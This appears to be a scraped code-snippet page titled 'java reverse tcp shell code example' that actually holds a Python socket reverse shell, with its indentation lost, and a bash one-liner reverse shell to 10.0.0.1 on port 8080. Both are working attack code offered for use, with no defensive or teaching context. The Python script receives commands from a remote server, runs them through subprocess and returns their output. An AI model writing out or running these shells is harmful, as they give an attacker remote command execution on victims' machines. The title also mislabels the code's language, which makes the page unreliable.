java reverse tcp shell code example
Example 1: socket reverse shell
import socket
import subprocess
import sys
SERVER_HOST = 'ip'
SERVER_PORT = 5003
BUFFER_SIZE = 1024
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
message = s.recv(BUFFER_SIZE).decode()
print("Server:", message)
while True:
command = s.recv(BUFFER_SIZE).decode()
if command.lower() == "exit":
break
output = subprocess.getoutput(command)
s.send(output.encode())
s.close()
Example 2: reverse shell bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1